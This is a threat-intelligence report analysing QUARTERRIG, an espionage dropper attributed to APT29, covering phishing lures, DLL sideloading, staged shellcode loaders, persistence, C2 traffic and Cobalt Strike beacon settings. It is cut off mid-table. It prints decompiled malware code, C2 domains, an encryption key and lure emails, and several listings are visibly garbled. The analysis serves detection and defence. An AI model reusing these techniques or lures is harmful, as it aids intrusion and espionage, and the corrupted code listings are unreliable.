# Table of Contents

Table of Contents ...............................................................................................................................................2
Threat Summary ..................................................................................................................................................3
Detailed Technical Analysis ..................................................................................................................................5
Delivery ............................................................................................................................................................5
  Phishing Email ................................................................................................................................................5
  Container File ...............................................................................................................................................6
1st Stage - Initial DLL - hijacker.dll ..................................................................................................................7
2nd Stage - Shellcode - DLL Loader ..................................................................................................................10
3rd Stage - Intermediate Shellcode Loader - runner.dll .................................................................................11
4th Stage - Shellcode - Dropper Loader ..........................................................................................................14
5th Stage - Payload Dropper ............................................................................................................................20
6th Stage - Payload - CobaltStrike ..................................................................................................................24
CS Beacon #1 (March 2023) ............................................................................................................................24
CS Beacon #2 (March 2023) ............................................................................................................................26
CS Beacon #3 (April 2023) ...............................................................................................................................28
YARA Rule ......................................................................................................................................................30
Appendix A - IOCs ..........................................................................................................................................31
  File IoCs .......................................................................................................................................................31
  Network IoCs ..............................................................................................................................................33
Appendix B - MITRE ATT&CK ......................................................................................................................34
**Threat Summary**

QUARTERRIG\(^1\) is a dropper that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29\(^2\) and NOBELIUM\(^3\) activity sets. QUARTERRIG does not contain any other capabilities aside from downloading and executing 2\(^{nd}\) stage. To bypass security products, QUARTERRIG heavily relies on obfuscation based on opaque predicates and multi-stage execution, interweaving shellcode and PE files. HALFRIG and QUARTERRIG share some of the codebase, suggesting that QUARTERRIG authors have access to both HALFRIG source code and the same obfuscation libraries.

QUARTERRIG was first observed on 14\(^{th}\) March 2023\(^4\). Its second, slightly modified variant was observed on 16\(^{th}\) March 2023. The only difference between those versions is a modified encryption scheme. Same second variant (with identical mid-execution steps) was also observed on 6\(^{th}\) April 2023\(^5\). Last observed attempt to deliver QUARTERRIG took place on 7\(^{th}\) April 2023 and used a third iteration that introduced small changes to the shellcode allocation and execution mechanism. All collected samples staged CobaltStrike Beacon.

QUARTERRIG was deployed similarly to the HALFRIG and SNOWYAMBER - via spearphishing email. First three campaigns used a link leading to the ENVYSCOUT script, while the one from 7\(^{th}\) April used either server-side validation script or forsoed delivery scripts completely (no JS script was observed). Interestingly, ENVYSCOUT scripts used to deploy QUARTERRING differ from past ones by having additional analysis-hampering capabilities. Three iterations of “enhanced” ENVYSCOUT were secured. First included logging visitor’s user-agent and IP address. Second iteration removed hardcoded decryption key from the script, instead obtaining it from the other script hosted on the same compromised website that validated recorded user-agent and IP address\(^6\). Third and final ENVYSCOUT

---


\(^2\) https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns


\(^4\) According to the samples we have been able to collect.

\(^5\) The only difference being domain used to deliver Cobalt Strike. Cobalt Strike Team Sever address was the same as in Beacon samples collected between 14\(^{th}\) and 16\(^{th}\) March.

\(^6\) Probably against hardcoded list of expected values.
improved moved environment validation to the remote server\(^7\). All ENVYSCOUT variants used a single byte XOR as the payload decryption key.

\(^7\) Third iteration of ENVYSCOUT was observed just few hours after second one. Adversary has swapped files mid-campaign. Someone probably realized, that storing expected victim connection patterns locally on the C2 wasn’t such a good idea after all.
Detailed Technical Analysis

Delivery

Phishing Email

QUARTERRIG was delivered via spear phishing email containing a PDF attachment. The phishing email used a diplomatic-theme message as a lure:

```
From: sales@alnupbehr.com
To: [Redacted]
Sent: Tuesday, March 14, 2023 11:10:57 AM
Subject: Invitation to the meeting

Dear colleagues, we are pleased to invite you to take part in a meeting on the topic “The Future of international economic relations,” and a Drink Reception, which will be held on March 23, 2023 at the Embassy of Spain.

The detailed information about the meeting and the participant’s questionnaire can be found at the attachment.

----------------------------------
Please, confirm the reception of the letter
Best regards,
Marcelino Orea
E-mail: marcelino.oreja@maec.es
```

Figure 1 - phishing email containing a PDF with a link to ENVYSCOUT delivering QUARTERRIG

The email had a PDF attachment. In the PDF content, there was a link, leading to ENVYSCOUT hosted on a compromised website. The same technique was used to deliver HALFRIG and SNOWYAMBER.

```
Dear colleagues, we are pleased to invite you to take part in a meeting on the topic “The Future of international economic relations,” and a Drink Reception, which will be held on March 23, 2023 at the Embassy of Spain.

The detailed information about the meeting and the participant’s questionnaire can be found AT THE LINK.

To participate in the meeting, you must fill out a questionnaire, which you can download from the link above and poison it with a reply letter no later than March 20.

Best regards,
The Ambassador

[Signature]
```

Figure 2 - PDF containing a link to ENVYSCOUT
The Embassy of the Czech Republic presents its complements to the all Diplomatic Missions and International Organizations and is pleased to invite you to a wine tasting event that will be held at the Embassy of the Czech Republic on April 13, 2023.

Please fill out an application for participation in the event and send it to the e-mail address: jozef.zielen@embassy.mzv.cz

Applications are submitted until April 11, 2023, then registration will be closed.

You can download all relevant information about the event and the participation form from our website.

5 April 2023

Figure 3 - PDF containing a link to ENVYSCOUT

Container File

QUARTERRIG was delivered using the same techniques as HALFRIG, and similar to the delivery chain used by SNOWYAMBER. Both delivery chains reused the same legitimate binary from the MS Word application to side-load a DLL containing the first stage of the malware. Both chains also employed the same naming technique that hides the actual file extension with the use of multiple spaces.

QUARTERRIG's execution is also separated into multiple stages, although in contrast to HALFRIG, it does not rely on multiple DLL files, instead using single sideloaded DLL and in-memory execution of later stages. Those stages are embedded into the shellcode stored in the accompanying XSD file. To protect payloads, malware heavily relies on RC4 encryption. The flowchart below illustrates the observed delivery chain:
Figure 4 - QUARTERRIG delivery and execution chain

1st Stage - Initial DLL - hijacker.dll

The first stage of QUARTERRIG's execution is a simple loader that shows multiple similarities to the first stage of HALFRIG including multiple direct code overlaps. Based on data found in DLL, its original name was hijacker.dll. The DLL starts off by decrypting a number of WinAPI function names. Encrypted strings are retrieved from the .data section and stored in a decrypted form throughout program execution.

All strings are encrypted using the RC4 algorithm and a hardcoded key. Strings are also constructed directly on the stack, adding an additional anti-analysis layer to the obfuscation.
After API strings are decrypted, a new thread is spawned using CreateThread API. The original thread is suspended, and execution continues only in the new one. The same design pattern was used in HALFRIG. Reconstructed DllMain is shown on the listing below:

```c
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

    __int64 (*GetCurrentThread)(void);
    unsigned int v4;
    __int64 (*__fastcall *OpenThread)(_QWORD, _QWORD, _QWORD);
    __int64 v6;
    __int64 v7;
    void (*__fastcall *CreateThread)(_QWORD, _QWORD, __int64 (__fastcall *)(__int64),
        __int64, _DWORD, int *);
    int v10;

    if ( fdwReason == 1 )
    {
        GetCurrentThread = load_api_addr(&api_struct.module_base, api_struct.GetCurren
tThread);
        v4 = GetCurrentThread();
        OpenThread = load_api_addr(&api_struct.module_base, api_struct.OpenThread);
        v6 = OpenThread(THREAD_ALL_ACCESS, 0i64, v4);
        v10 = 0;
        CreateThread = load_api_addr(&api_struct.module_base, api_struct.CreateThread);
        CreateThread(0i64, 0i64, main_thread, v7, 0, &v10);
    }
    return 1;
}
```
The following IDAPython script can be used to recreate the structure used to store module information and API names:

```python
name = "api_load"
struct_id = idc.add_struc(0, name, 0)

apis = [
    "module_base", "kernel32.dll", "VirtualAlloc", "RtlCopyMemory", "VirtualProtect",
]

for off, api in enumerate(apis):
    idc.add_struc_member(struct_id, api, off * 8, idaapi.FF_QWORD, -1, 8)
```

The new thread retrieves the content of "bdcmetadataresource.xsd". This file accompanies hijacker.dll and contains encrypted shellcode of the further QUARTERRIG stages. Shellcode is decrypted using RC4 with a hardcoded key. Shellcode execution is facilitated using a simple jmp instruction. The following listing illustrates the thread's reconstructed code:

```c
__int64 __fastcall main_thread(__int64 current_thread)
{
    unsigned int (__fastcall *SuspendThread)(__int64);
    _QWORD *file_strings;
    __int64 v5[9];

    SuspendThread = load_api_addr(&api_struct.module_base, api_struct.SuspendThread);
    if ( SuspendThread(current_thread) == 0xFFFFFFFF )
        return 0i64;
    file_strings = decrypt_and_get_file_strings(v5);
    sub_180001CA0(file_strings[4]); // "bdcmetadataresource.xsd"
    return 1164;
}
```
2nd Stage - Shellcode - DLL Loader

Shellcode retrieved from the XSD file is a simple DLL loader based on an open-source sRDI project. The DLL to be loaded is embedded in the loader shellcode.

Loader utilizes several WinAPI functions dynamically resolved using the GetProcAddress API. The required addresses for LdrLoadDLL and GetProcAddress are retrieved using API Hashing.

```c
qmemcpy(v91, "Sleep", 5);
qmemcpy(v93, "LoadLibraryA", 12);
qmemcpy(v92, "VirtualAlloc", 12);
qmemcpy(v94, "VirtualProtect", 14);
qmemcpy(v97, "FlushInstructionCache", 21);
qmemcpy(v95, "GetNativeSystemInfo", 19);
qmemcpy(v96, "RtlAddFunctionTable", 19);
LDRLOADDLL = (void (__fastcall *)(_QWORD, _QWORD, int *, __int64 *))load_api_by_hash(0xBDBF9C13);
LDRGETPROCADDRESS = (void (__fastcall *)(__int64, int *, __int64, __int64))load_api_by_hash(0x5ED941B5);
```

Loader selects DLL export that will be called based on another hashing:

```asm
start+0:
call $+5
pop rcx ; get current address
mov r8, rcx
mov edx, 3137192214 ; export function hash
add r8, 71F14h
mov r9d, 4
push rsi
mov rsi, rsp
and rsp, 0FFFFFFFFFFFFFF0h
sub rsp, 30h
mov [rsp+38h+var_18], rcx
add rcx, (offset unk_B19 - offset loc_5) ; get the MZ offset
mov [rsp+38h+var_10], 0
call sub_45 ; jump to loader
mov rsp, rsi
pop rsi
retn
endp
```

---

[8] [https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c](https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c)
Reconstructed export hashing can be illustrated using the following script:

```python
def hash(x):
    s = 0
    for x in x.encode():
        s = ror(s, 13) + x
    return s
```

Hashed export name found in the shellcode corresponds to “runner.dll”.

```python
>>> hash("runner_dll\x00")
3137192214
```

3rd Stage - Intermediate Shellcode Loader - runner.dll

Runner.dll is an intermediate step loader - it is similar in implementation and in functionality to hijacker.dll. Runner.dll is responsible for facilitating several OPSEC checks before decrypting and loading the next stage. It is another similarity in design to the HALFRIG execution chain.

Runner.dll starts with decrypting WinAPI functions using the same routine as hijacker.dll. Next, OPSEC checks are performed including:

1. Verifying whether sleep calls are skipped (emulated):

```python
GetTickCount = load_api_addr(&a1.module_base, a1.GetTickCount);
first_tick_count = GetTickCount();
Sleep_1 = load_api_addr(&a1.module_base, a1.Sleep);
Sleep_1(100i64);
GetTickCount_1 = load_api_addr(&a1.module_base, a1.GetTickCount);
if ( GetTickCount_1() - first_tick_count < 0x64 )
    goto exit_0;
```

2. Verifying whether the module file name matches the expected one:

```python
original_filename = *decrypt_and_get_filename(v18); // "AppVIsvSubsystems64.dll"
memset(module_filename, 0, 0x400u164);
v10 = copy_api_strings(&a1);
GetModuleName = load_api_addr(&v10->module_base, v10->GetModuleFileName);
if ( !GetModuleName(0i64, module_filename, 1024i64) )
    goto exit_0;
LODWORD(v12) = 0;
if ( *original_filename )
{
    do
        v12 = (v12 + 1);
    while ( original_filename[v12] );
}
If both checks are passed, persistence is established. The persistence technique used in QARTERRIG is exactly the same as the one in HALFRIG and SNOWYAMBER. The content of the ISO file is copied to the new directory created with the hardcoded name "OfficeBackendWorker" in %LocalAppData% folder.

```c
bool __fastcall copy_files(api_load *a1)
{
    api_load *api_strings; // rax
    void (__fastcall *Sleep_1)(__int64); // rax
    __int64 (__fastcall *api_addr)(char *, char *, _QWORD); // rax
    __int64 CreateDirectoryExA; // rbx
    api_load *v6; // rax
    void (__fastcall *Sleep)(__int64); // rax
    char *v8; // rdi
    __int64 v9; // rbp
    __int64 (__fastcall *CopyFileA)(_QWORD, _QWORD, _QWORD); // rax
    _BYTE a1a[400]; // [rsp+20h] [rbp-198h] BYREF

    api_strings = decrypt_and_get_api_strings(a1a);
    Sleep_1 = load_api_addr(&api_strings->module_base, api_strings->Sleep);
    Sleep_1(6164);
    api_addr = load_api_addr(&a1->module_base, a1->CreateDirectoryExA);
    CreateDirectoryExA = api_addr(a1->LocalAppData_directory, a1->localappdata_offic e_backend_worker, 0164) & 1;
    v6 = decrypt_and_get_api_strings(a1a);
    Sleep = load_api_addr(&v6->module_base, v6->Sleep);
    Sleep(6164);
    v8 = &a1->data_4[32];
    v9 = 4164;
    do
    {
        CopyFileA = load_api_addr(&a1->module_base, a1->CopyFileA);
        LODWORD(CreateDirectoryExA) = CopyFileA(*v8, *(v8 - 4), 0164) & CreateDirector yExA;
        v8 += 8;
        --v9;
    } while ( v9 );
    return CreateDirectoryExA != 0;
}
```
QUARTERRIG's execution is facilitated via a new entry to the Run registry key (\Software\Microsoft\Windows\CurrentVersion\Run), with the value named as OfficeBackendWorker. The value set up in the Run key refers to the Note.exe executable - \<FOLDERID_LocalAppData>\OfficeBackendWorker\Note.exe.

Once the persistence is set up, the process proceeds to launch another stage. It starts off by retrieving a path to the “ole32.dll” file by concatenating the filename and the directory returned from the “GetSystemDirectory” WINAPI call. Runner.dll then copies the beginning and end of the ole32 module to the memory and copies the embedded encrypted shellcode into the space between previously copied parts of ole32. We assume that this specific way of wrapping shellcode with fragments from legitimate binary is done to obfuscate it and bypass checks from AV/EDR solutions.

After parts of ole32 and shellcode are copied into memory, Runner.dll decrypts shellcode with another hardcoded RC4 key, modifies permissions using VirtualProtect, and jumps to the first shellcode instruction.

Figure 5 - QUARTERRIG uses particular technique to copy shellcode into memory. It first copies the hardcoded amount of “head” and “tail” bytes form legitimate DLL, then copies encrypted shellcode in-between ole32 parts and finally decrypts it in place.
4th Stage - Shellcode - Dropper Loader

The 4th stage of the QUARTERRIG execution chain is another DLL loader shellcode. It is responsible for loading embedded DLL that facilitates downloading of the final payload from the C2 server.

The 4th stage is also the most obfuscated stage of the execution. Aside from previously observed obfuscation techniques, it employs a large number of opaque predicates to hinder analysis. Additional OPSEC techniques that were not previously observed are implemented in this stage.

The 4th stage uses a custom checksum function to resolve WinAPI functions. The same function is also used to verify the integrity of the decrypted next stage. The Python script below implements custom checksum computation:

```python
from malduck import uint32, Uint32, chunks

def hash_data(data: bytes, magic: int) -> int:
    assert len(data) < 12

    data_len = len(data)

    if len(data) < 16:
        data = (data + b'\x80').ljust(16, b'\x00')

    data = list(data)
    data[12] = (data_len * 8) % 256
    data = bytes(data)

    ret_hash_a = Uint32(magic & 0xffffffff)
    ret_hash_b = Uint32(magic >> 32)

    o, p, r, s = [uint32(x) for x in chunks(data, 4)]

    for iterator in range(27):
        ret_hash_a = (ret_hash_b + ret_hash_a.ror(8)) ^ o
        ret_hash_b = ret_hash_b.rol(3) ^ ret_hash_a

        v = s
        s = (p.ror(8) + o) ^ Uint32(iterator)
        o = o.rol(8) ^ s

        p = r
        r = v

    final_hash = int(ret_hash_a) | (int(ret_hash_b) << 32)

    return final_hash ^ magic
```
Next stage DLL is embedded in shellcode as an encrypted blob. It is decrypted using custom cipher:

```
__asm
{ 
  rdrand r9 
  rcr  r9b, 7 
  LR5D(_R5) = __ror2(R5, 4); 
  LOGYTE(_R9) = __rol4(_R9, 6); 
__asm { rcr  r9d, 2 }
  v283 = v4; 
__asm { rdseed edi }
  LOGYTE(_EDI) = __rol16(_EDI, 16); 
  _ms_crc32_u64(v57, _R5); 
  LOGYTE(_R9) = __r9; 
__asm
  { 
    rcr  r9, 5 
    rcl  d1, 5 
  } 
  v58 = v283; 
  if ( !(v342 || !v341 || !v340 )
  { 
    __asm
      { 
        rdrand r9d 
        rdrand rs1
        rcl  r9w, 8 
      }
      return 0xFFFFFFFFF164; 
  } 
  v308 = v14; 
__asm
  { 
    rdrand r15d 
    rdseed r15d 
  } 
  _R15 = v308; 
  v339 = v342(0164, *v345, 0x3000164, 4164);
```

*Figure 6 - custom decryption routine (part 1)*
while (*v5 - 1) <= 3u )
{
    _R3 = 247;
    _asm
    {
        rcr r9w, 0Fh
        rrand r9
    }
    _LOBYTE(_R3) = __CFSRH(_R3, 14) << 7;
    _asm { rcl r9d, 4 }
    *(v5 - 2) + *(v5 - 1)) ^= *(v5 - 3) + *(v5 - 1); // a[1] ^= b[1]
    v23 = v6;
    _asm { rrand rbx } 
    _RAX = 13164;
    _asm { rcl bx, 0Ah }
    v21 = v23;
    _asm
    {
        rseed ebp
        rseed rdp
    }
    v5 = v21;
    _asm { rseed ebx }
    _RAX >>= 7;
    _asm { rcl bl, 0Ah }
    v6 = v21;
    sub_557FBE();
    ++(v21 - 1);
}
for (*v5 - 1) = 0; *(v5 - 1) <= 15u; ++(v5 - 1) } // 16 rounds
{
    _asm { rrand rax }
    _LOBYTE(_RAX) = a2 | _RAX;
    _asm
    {
        rcr r10w, 5
        rcr al, 0Nh
    }
    sub_557F13();
    **(v5 - 2) += *(v5 - 2) + 1;                 // a[0] += a[1]
    *(v5 - 2) + 1) == _ROL44(*(v5 - 2) + 1, 5) == **(v5 - 2); // a[1] = rol(a[5], 5) ^ a[0]
    *(v5 - 2) + 2) += *(v5 - 2) + 3;            // a[2] += a[3]
    *(v5 - 2) + 3) == _ROL44(*(v5 - 2) + 3, 8) == *(v5 - 2) + 3 // a[3] = rol(a[3], 8) ^ a[2]
    *(v5 - 2) + 2) += *(v5 - 2) + 1;            // a[2] += a[1]
    **(v5 - 2) = *(v5 - 2) + 3) + _ROL44(*v5 - 2, 16); // a[0] = a[3] + rol(a[0], 16)
    *(v5 - 2) + 2) += _ROL44(*(v5 - 2) + 3, 13) ^ *(v5 - 2) // a[3] = rol(a[3], 13) ^ a[0]
    v18 == _ROL44(*(v5 - 2) + 1, 7)
    _RCX = v18;
    **(v5 - 2) + 1) = v18 ^ *(v5 - 2) + 2; // a[1] = rol(a[1], 7) ^ a[2]
    _LOADWORD(a2) = _ROL44(*(v5 - 2) + 2, 16); 
    *(v5 - 2) + 2) = a2;                     // a[2] = rol(a[2], 16)
    v24 = v6;
    v19 = 1164;
    do
    { 
        --v19;
        while ( v19 );
        v6 = v24;
    }
for (*v5 - 1) = 0; *(v5 - 1) <= 3u; ++(v5 - 1) )
{
    if (_R10 == v4 )
    
    _asm { rcl rmx, 0Dh }
    _RCX = **(v5 - 2) + *(v5 - 1));
    *(v5 - 2) + *(v5 - 1) = _RCX ^ *(v5 - 3) + *(v5 - 1); // a[1] ^= b[1]
}

Figure 7 - custom decryption routine (part 2)
To ease static analysis and help with payload extraction, the decryption function was reimplemented using Python:

```python
def hash_round(data: bytes, magic: int) -> int:
    ret_hash_a = UInt32(magic & 0xffffffff)
    ret_hash_b = UInt32(magic >> 32)

    o, p, r, s = [uint32(x) for x in chunks(data, 4)]

    for iterator in range(27):
        ret_hash_a = (ret_hash_b + ret_hash_a.ror(8)) ^ o
        ret_hash_b = ret_hash_b.rol(3) ^ ret_hash_a

        v = s
        s = (p.ror(8) + o) ^ UInt32(iterator)
        o = o.rol(3) ^ s

        p = r
        r = v

    final_hash = int(ret_hash_a) | (int(ret_hash_b) << 32)
    return final_hash

def hash_data(data: bytes, magic: int) -> int:
    return_hash = magic

    for data_chunk in chunks(data[:64], 16):
        data_len = len(data_chunk)

        if len(data) < 16:
            data_chunk = (data_chunk + b"\x80").ljust(16, b"\x00")

        if len(data) >= 12:
            return_hash ^= hash_round(data=data_chunk, magic=return_hash)
            data_chunk = b"\x00" * 16

        data_chunk = list(data_chunk)
        data_chunk[12] = (data_len * 8) % 256
        data_chunk = bytes(data_chunk)

        return_hash ^= hash_round(data=data_chunk, magic=return_hash)
    return return_hash
```
The hash values used in WinAPI lookups are located at the beginning of the binary:

The following excerpt shows an example of a hashing function being used to identify API names:

```
magic_const = 0x6C8DA39E75EA6287

VirtualAlloc_h = hash_data(b"VirtualAlloc", magic_const)
kernel32_dll_h = hash_data(b"kernel32.dll".lower(), magic_const)

print(UInt64(VirtualAlloc_h ^ kernel32_dll_h).pack().hex())
```

To decrypt the payload, shellcode uses three different keys. Each key is used once, for a single layer of encryption. Additionally, each decrypted layer contains an 8-byte checksum that is hashed using the same hashing function and then compared to a value stored in another portion of the binary. After the payload has been decrypted, `RtlDecompressBuffer` is called to decompress the payload using the `lznt1` algorithm.

The following figure illustrates the payload structure, split layer by layer:
Figure 9 - layers of the encrypted payload

The following screenshot illustrates a hex view of the payload:

Figure 10 - a hex view of the encrypted payload
5th Stage – Payload Dropper

The final payload servers as a dropper for the CobaltStrike Beacon downloaded from adversary-controlled infrastructure. While it contains some obfuscation like string encryption, overall, 5th stage, is pretty much completely readable compared to the previous shellcode.

The process starts by decrypting 3 core strings that will be used throughout the dropper:

1. User-Agent string;
2. C2 URL address;
3. RC4 key for encrypting the communication.

The screenshot below presents the reconstructed string decryption:

```
string_a = load_string_a(); // Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
std::string:string(v29, v4);
string_b = load_string_b(); // (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.5
std::string:string(v30, v6);
string_c = load_string_c(); // https://peteke.com/auth/login.php
std::string:string(v31, v8);

if ( "login.php" )
{
    do_more(v20, v5, v13, v10);
}
```

**Figure 11 - String initialization and decryption**

Decryption is performed using a simple XOR loop:

```
__int64 __fastcall decrypt_string_130b(__int64 a1)
{
    unsigned __int64 i; // r8
    __int64 a2 = a1 & 130;
    __int64 a3 = a1 & 7;
    __int64 a4 = a2 >> (8 * (i & 7u));
    __int64 a5 = a2 & (8 * (i & 7u));
    __int64 a6 = a4 + a5;
    return a1;
}
```

**Figure 12 - string decryption routine**
The main procedure loop of the QUARTERRIG is similar to the one from SNOWYAMBER:

```c
void __fastcall __noreturn running_main(struct_state *malware_state) {
    int timeout; // edi

    send_reg_packet(malware_state);
    while ( 1 )
    {
        timeout = malware_state->http_timeout;
        while ( !send_reg_packet(malware_state->user_session) )
        {
            timeout *= 2;
            Sleep(1000 * timeout);
        }
        send_healthcheck(&malware_state->user_session);
        Sleep(1000 * malware_state->http_timeout);
    }
}
```

Communication between QUARTERRIG and adversary infrastructure begins with the registration packet:

**Request**

POST /auth/login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.56
Host: pateke.com
Content-Length: 276
Cache-Control: no-cache

C7ROIEm80xm+qRX3uP/5eOXEmgU0obmjMdguZWAi/tpick+V+j1bIv67wAjTPdJchYAMvmfa2E1q/QuCLGmIVh1uDV6L3AFung01404w+fcWyjDFeQq9utTg5b9LrIf1Q0Yb70yy3u8G2R7x5JQ/YXwom6MXv+jYQM1OKbP87BzkHhj5Yj0Np/rRAL/HQGNeZ4VUxpM+GMUBXtAgqnD46mNyRVBqhU32MHv/83pGgL+iT8FXv54HKAze82UOJwpZz4RPwp75rNlKw==

**Response**

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 16 Mar 2023 17:37:56 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Referrer-Policy: no-referrer

```
Request content is base64-encoded and RC4-encrypted using a hardcoded key. The excerpt below shows decrypted content:

```plaintext
>>> rc4(b"kusfuh7874358768HGBJByeyg3787ycbh", b64decode("C7ROIEm80xm+qRXuP/5eOXEngU0obmjMdgUzWAi/tpiCK+V+j1bILvi67wAjTPdJchYAMvmfa2E1q/QuCLGmIVh1uDv06L3AFumg01404w+fcwjjyDFeQq9utTg5b9LrIf1Q0Yb70yy3u8G2R7x5JQ/YXwom6MXV+jYQM10KbP87BzkHhJy5j0np/rRAL/HQGNeZ4VUxpM+GMUBXtAgqnD46mNvRVBqHjU32M/Hv/83pGg1+tI8FXvn54HkAzeE820UJwpoZZ4RPwp7P5rnLkw="))
b'{"session_id":"1bzwcad5i11stbgsi8m45u3tmvqblrrq6bgah1nj1mw3zadffj5n7","method":"reg","params":"C7RVKkm7mEzynh396bW+PeLMz0p3ob370YBlnC5irZA/AfCX7TU=","salt":"v6n00flz1ki1sn1ad5oxbuktrymlxg141hafzc1gye26'}
```

The packet has the following values:

1. session_id - randomly generated string used to identify the malware instance;
2. method - request purpose, “reg” for registering the malware, “req” for requesting payload;
3. params - a structure containing information about the infected host;
4. salt - randomly generated nonce.

Params structure is encrypted using the same RC4 key:

```plaintext
>>> rc4(b"kusfuh7874358768HGBJByeyg3787ycbh", b64decode("C7RVKkm7mEzynh396bW+PeLMz0p3ob370YBlnC5irZA/AfCX7TU="))
b'{"host":"<username>","domain":"<domain>"'}
```

Where `<username>` is a string returned by `GetUserNameA()` and `<domain>` is a string obtained using `GetComputerNameExA(ComputerNameDnsFullyQualified)`.

Upon successful registration, malware will start to continuously request the payload from the C2 server using req packets.
The packet encoding and structure are almost identical to the registration request. It uses the “recv” method and does not send a victim identifier.

```python
>>> rc4(b"kusfhuh7874358768HGBJBHeyg3787ycbh", b64decode("C7ROIEm80xm+qRX3up/5eOXEmgU0obmjMdgUzWAi/tpiCK+V+j1bILvi67wAjTPdJchYAMvmfa2E1q/QuCLGmIVh1uDvO6LJAFumgOl4o4w+fcWnnD9QEL19uCFod8qnGqx6H6DzhI051cipXOQnc17IeAML"))
```

We believe that the adversary operator is manually reviewing the information obtained from the victim device to decide whether the target is interesting enough to merit the deployment of the payload. In one case we have been observing, the adversary deployed payload after almost 14 h of beaconing.
6th Stage - Payload - CobaltStrike

The final stage of QUARTERRIG execution is a payload downloaded from an adversary-controlled C2 server. We have obtained three almost exactly identical variants of payloads. The configuration of collected CobaltStrike Beacons is listed below.

CS Beacon #1 (March 2023)

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>BeaconType</td>
<td>HTTPS</td>
</tr>
<tr>
<td>Port</td>
<td>443</td>
</tr>
<tr>
<td>SleepTime</td>
<td>60000</td>
</tr>
<tr>
<td>MaxGetSize</td>
<td>1048576</td>
</tr>
<tr>
<td>Jitter</td>
<td>14</td>
</tr>
<tr>
<td>MaxDNS</td>
<td>Not Found</td>
</tr>
<tr>
<td>PublicKey_MD5</td>
<td>4f28e1f1db295d14bfabc73bf0314a161</td>
</tr>
<tr>
<td>C2Server</td>
<td>gatewan.com,/c/msdownload/update/others/2021/10/8PaDBDxLtoki3eH8</td>
</tr>
<tr>
<td>UserAgent</td>
<td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36</td>
</tr>
<tr>
<td>Malleable_C2_Instructions</td>
<td>Empty</td>
</tr>
<tr>
<td>HttpGet_Metadata</td>
<td>ConstHeaders</td>
</tr>
<tr>
<td></td>
<td>Accept: <em>/</em></td>
</tr>
<tr>
<td></td>
<td>Host: gatewan.com</td>
</tr>
<tr>
<td></td>
<td>Metadata mask</td>
</tr>
<tr>
<td></td>
<td>base64url append “.cab”</td>
</tr>
<tr>
<td></td>
<td>uri_append</td>
</tr>
<tr>
<td>HttpPost_Metadata</td>
<td>ConstHeaders</td>
</tr>
<tr>
<td></td>
<td>Accept: <em>/</em></td>
</tr>
<tr>
<td></td>
<td>SessionId mask</td>
</tr>
<tr>
<td></td>
<td>base64url prepand “SSID=“</td>
</tr>
<tr>
<td></td>
<td>append “; hg=ruhn87hnnj”</td>
</tr>
<tr>
<td></td>
<td>header “Cookie”</td>
</tr>
<tr>
<td></td>
<td>Output mask</td>
</tr>
<tr>
<td></td>
<td>base64url print</td>
</tr>
<tr>
<td>PipeName</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_Idle</td>
<td>Not Found</td>
</tr>
<tr>
<td>DNS_Sleep</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Host</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Port</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Username</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Password_Plaintext</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Password_Pubkey</td>
<td>Not Found</td>
</tr>
</tbody>
</table>
SSH_Banner: -
HttpGet_Verb: - GET
HttpPost_Verb: - POST
HttpPostChunk: - 0
Spawnto_x86: - %windir%\syswow64\powercfg.exe
Spawnto_x64: - %windir%\sysnative\powercfg.exe
CryptoScheme: - 0
Proxy_Config: - Not Found
Proxy_User: - Not Found
Proxy_Password: - Not Found
Proxy_Behavior: - Use IE settings
Watermark_Hash: - Not Found
Watermark: - 1359593325
bStageCleanup: - True
bCFGCaution: - False
KillDate: - 0
bProcInject_StartRWX: - True
bProcInject_UseRWX: - False
bProcInject_MinAllocSize: - 6785
ProcInject_PrependAppend_x86: - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
ProcInject_PrependAppend_x64: - Empty
ProcInject_Execute: - ntdll.dll:RtlUserThreadStart
                  - NtQueueApcThread-s
                  - SetThreadContext
                  - CreateRemoteThread
                  - kernel32.dll:LoadLibraryA
                  - RtlCreateUserThread
ProcInject_AllocationMethod: - VirtualAllocEx
bUsesCookies: - True
HostHeader: -
headersToRemove: - Not Found
DNS_Beaconing: - Not Found
DNS_get_TypeA: - Not Found
DNS_get_TypeAAAA: - Not Found
DNS_get_TypeTXT: - Not Found
DNS_put_metadata: - Not Found
DNS_put_output: - Not Found
DNS_resovel: - Not Found
DNS_strategy: - Not Found
DNS_strategy_rotate_seconds: - Not Found
DNS_strategy_fail_x: - Not Found
DNS_strategy_fail_seconds: - Not Found
Retry_Max_Attempts: - Not Found
Retry_Increase_Attempts: - Not Found
Retry_Duration: - Not Found
## CS Beacon #2 (March 2023)

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>BeaconType</td>
<td>HTTPS</td>
</tr>
<tr>
<td>Port</td>
<td>443</td>
</tr>
<tr>
<td>SleepTime</td>
<td>60000</td>
</tr>
<tr>
<td>MaxGetSize</td>
<td>1048576</td>
</tr>
<tr>
<td>Jitter</td>
<td>14</td>
</tr>
<tr>
<td>MaxDNS</td>
<td>Not Found</td>
</tr>
<tr>
<td>PublicKey_MD5</td>
